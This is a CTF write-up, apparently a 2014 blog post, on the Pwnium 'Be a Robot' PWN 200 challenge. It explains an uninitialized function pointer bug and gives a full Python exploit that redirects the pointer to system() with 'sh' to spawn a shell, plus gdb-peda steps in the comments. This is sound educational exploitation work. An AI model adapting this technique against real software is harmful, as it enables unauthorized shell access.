Monday, July 7, 2014

Pwnium CTF 2014 - Be a Robot - PWN 200 - [Team SegFault]

A 32-bit ELF was given for this challenge. The binary is simple which reads name and age.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 20
Bye dude ;)
The vulnerability was in atExit function. This is what it looked like:
When the age is set to 0 or less, the function pointer is uninitialized.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 0
Segmentation fault (core dumped)
To exploit this condition, we need to initialize the function pointer with user controlled data. The read_user function, reads 64 bytes of data using fgets into the stack. Later after this call returns, atExit uses the same stack area, thereby giving a possibility to initialize the value.

The idea of the exploit:
[*] Initialize function pointer with PLT address of system function
[*] Fill the stack with pointer to string 'sh' such that, call eax will transfer control to system() function with 'sh' parameter

Below is the exploit code:
#!/usr/bin/env python

import struct
import os

pipe_r, pipe_w = os.pipe()
pid = os.fork()

if pid == 0:
        # child process
        os.dup2(pipe_r, 0)
        os.execl("./pwn200", "./pwn200")


payload  = struct.pack("<I", 0x08048c01) * 12   # sh string
payload += struct.pack("<I", 0x08048430)        # system()
payload += struct.pack("<I", 0x08048c01) * 3
payload += "0\n"                                # age value to trigger the issue

os.write(pipe_w, payload)
while 1:
    os.write(pipe_w, raw_input() + "\n")
The ctf server was down most of the time, so this exploit was tested only locally.
[root@renorobert Pwnium]# python
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


  1. hello... i have few question

    how do you find "sh" parameter?

  2. renorobert@ubuntu:/host/Pwnium$ strings -a ./pwn200 | grep sh

    renorobert@ubuntu:/host/Pwnium$ gdb -q ./pwn200
    gdb-peda$ break main
    Breakpoint 1 at 0x8048701
    gdb-peda$ run

    Breakpoint 1, 0x08048701 in main ()
    gdb-peda$ find sh
    Searching for 'sh' in: None ranges
    Found 86 results, display max 86 items:
    pwn200 : 0x8048bc8 ("shstrtab")
    pwn200 : 0x8048c01 --> 0x2e006873 ('sh')